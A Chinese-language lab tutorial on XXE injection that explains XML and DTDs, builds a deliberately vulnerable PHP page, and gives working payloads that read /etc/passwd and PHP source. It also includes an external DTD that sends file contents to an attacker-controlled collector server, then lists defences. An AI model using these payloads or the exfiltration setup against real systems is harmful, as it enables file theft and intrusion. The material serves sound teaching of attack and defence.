1 XXE漏洞简介-XML语法-DTD讲解
1.1 什么是 XXE漏洞?
XXE全称是------XML External Entity,也就是XML外部实体注入攻击。通过XML 实体,"SYSTEM"关键词导致XML 解析器可以从本地文件或者远程 URI中读取数据。所以攻击者可以通过XML 实体传递自己构造的恶意值。使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口,攻击内网网站等危害。一 External [rk sts:rnl] Entity [ entoti]et 准确的来说XXE就是XML注入。
1.2 XML介绍及用途
1、什么是XML? XML 指可扩展标记语言(Extensible Markup Language) XML是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据。HTML 被设计用来显示数据。 XML 标签没有被预定义。您需要自行定义标签。 XML被设计为具有自我描述性。 XML 是w3C的推荐标准
1.3 XML基本数据结构
1、没有任何行为的XML,XML是不作为的。 XML不会做任何事情。XML 被设计用来结构化、存储以及传输信息。 例1:下面是 John写给George的便签,存储为XML:
┌──(root㉿xuegod52)-[~/桌面] └─# vim note.xml
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
例2: XML使用简单的具有自我描述性的语法
└─# vim note.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
1.4 XML语法规则
1、所有的XML元素都必须有一个关闭标签例:e
┌──(root㉿xuegod52)-[~]
└─# vim note.xml
<p>This is a paragraph</p>
2、XML 标签对大小写敏感例:
└─# vim note.xml
<Message>这是错误的。</message>
<message>这是正确的。</message>
3、XML必须正确嵌套
例:
└─# vim note.xml
<b><i>This text is bold and italic</b></i>
<b><i>This text is bold and italic</i></b>
注:错误:<b><i>This text is bold and italic</b></i>
这是正确:<b><i>This text is bold and italic</i></b>
4、XML文档必须有根元素
XML文档必须有一个元素是所有其他元素的父元素。该元素称为根元素。
└─# vim note.xml
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
5、XML属性值必须加引号
例:
└─# vim note.xml
<note date="08/08/2019"> #date就是note标签的属性
<to>George</to>
<from>John</from>
</note>
6、实体引用
在XML中,一些字符拥有特殊的意义。
如果你把字符“<”放在XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误。
例:
└─# vim note.xml#写入
<message>if salary < 1000 then</message>
在XML中,有5个预定义的实体引用,如下
<; | < | 小于 |
---|---|---|
>; | > | 大于 |
&; | & | 和号 |
&apos; | ' | 单引号 |
"; | " | 引号 |
7 XML中的注释
例:使用<!--注释内容-->
<!--This is a comment-->
1.5 XML DTD介绍
拥有正确语法的 XML被称为“形式良好”的 XML。
通过 DTD 验证的XML是“合法”的XML。
DTD 全称是The document type definition,即是文档类型定义,通过DTD验证XML是否合法。
1、形式良好的XML文档
“形式良好”或“结构良好”的XML文档拥有正确的语法。“形式良好”(Well Formed)的XML文档会遵守前面介绍过的XML语法规则:
(1)、XML文档必须有根元素
(2)、XML文档必须有关闭标签
(3)、XML标签对大小写敏感
(4)、XML 元素必须被正确的嵌套
(5)、XML 属性必须加引号
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
常见的 XML 语法结构如下所示:
<!--XML 申明-->
其中,文档定义类型(DTD)可以是内部声明也可以引用外部 DTD。
内部声明 DTD 格式:<!DOCTYPE 根元素 [元素声明]>。
引用外部 DTD 格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。
在 DTD 中进行实体说明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷
方式的变量。实体可在内部或外部进行声明。
内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。
SYSTEM、PUBLIC 对外部资源进行申请。
由于 xxe 漏洞主要是利用了 DTD 引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。当libXML <libxml2.9 才会造成外部注入漏洞
2 XXE 漏洞代码详解
2.1 XXE 漏洞代码
实验环境:开启 Metasploitable 靶机
IP: 192.168.1.14 用户: root 密码: 123456
注:这里可以在 metasploitable 中进行试验,不可以在 centos 中进行试验,因为默认情况下
centos 中已经修复相关漏洞。
root@metasploitable:~# cd /var/www/
root@metasploitable:~# vim xxe.php #插入以下内容
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
代码解释
file_get_contents() 函数把整个文件读入一个字符串中。
php://input #是个可以访问请求的原始数据的只读流。 结合 file_get_contents("php://input")可以读取 POST 提交的数据。存入$xml simplexml_load_string 函数介绍 php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement Object 例:使用 simplexml_load_string 将 note 输入 XML 数值打印出来
root@metasploitable:~# vim test.php
<?php
$note=<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>
访问:http://192.168.1.14/test.php
SimpleXMLElement Object ( [to] => Tove [from] => Jani [heading] => Reminder [body] => Don't forget me this weekend! ) 注:黑客进行 XXE 注入的思路: 1、file_get_contents("php://input")可以读取 POST 提交的数据, 2、那么我们通过 POST 提交 XML 代码, 3、XML 代码中引用外部 DTD,读取黑客想要的系统文件 4、通过 simplexml_load_string()函数显示数据。 即通过 simplexml_load_string()函数将 XML 代码和引用的系统文件转换成 SimpleXMLElement Object 格式打印出来,此时加载的系统文件也会被打印出来。
2.2 XXE 漏洞演示
在 Kali 中开启 burpsuite 截断
访问:http://192.168.1.14/xxe.php
Payload 内容如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
在上面的代码中, XML 外部实体(外部实体在 XML 中被引用) xxe 被赋予的值为:file:///etc/passwd。在解析 XML 文档的过程中,实体 'xxe' 的值会被替换为URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。 关键字 'SYSTEM' 会告诉 XML 解析器,'xxe' 实体的值将从其后的 URI 中读取,并把读取的内容替换 xxe 出现的地方。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
2.3 读取 PHP 文件
修改 payload 读取 xxe.php 文件,代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
注:发现没有读取到文件的内容,原因是 php 文件需要进行加密才能够被读取。
修改 payload,代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
php 文件经过 base64 加密之后就可以正常读取了,在 Kali 中使用 base64 进行解密获取文本内容。
┌──(root xuegod52)-[~]
└─# echo
echo "PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGE9c2l
tcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOwplY2hvICI8cHJlPiI7CnByaW50X3IoJGRhdGEp
OwplY2hvICI8L3ByZT4iOwo/Pgo=" | base64 -d
弹出以下内容:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
3 无回显文件读取
3.1 实验环境搭建
PentesterLab 是一个全面的漏洞演示平台,但是它是收费的,我们这里只使用它的 xxe 演示案例。
安装 PentesterLab 虚拟机。
新建虚拟机
选择镜像
选择操作系统与内核版本
设置虚拟机存储位置
优化硬件配置
开启虚拟机,虚拟机没有密码开机会自动登录。也不需要安装等操作步骤。
查看 IP 地址
3.2 Kali 服务器准备工作
我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
1、建立 dtd 外部实体文件:
┌──(root xuegod52)-[~]
└─# cd /var/www/html/
└─# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.1.52/xxe.php?pass=%p1;'>"> %p2;
注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>
3、创建存储数据的文件
└─# touch pass.txt
4、修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
5、启动 apache2
└─# systemctl start apache2
6、测试 php 文件能够正常写入数据
└─# curl http://192.168.1.52/xxe.php?pass=1
└─# cat pass.txt
1
3.3 进行 XXE 攻击
访问 PentesterLab 地址:http://192.168.1.15/ 我的地址是 192.168.1.15,大家要访问自己的地址。
直接点击登录,不需要输入用户名密码,抓包并发送到 Repeater
Payload 代码:
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.52/test.dtd">
<foo>&e1;</foo>
修改抓到包的内容
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml
插入 Payload 代码
获取 passwd 文件内容
┌──(root xuegod52)-[/var/www/html]
└─# cat pass.txt
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
4 XXE 漏洞修补
4.1 升级 libxml 版本
libxml2.9.0 以后,默认不解析外部实体
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
4.2 代码层防御
使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 XML 数据 关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC。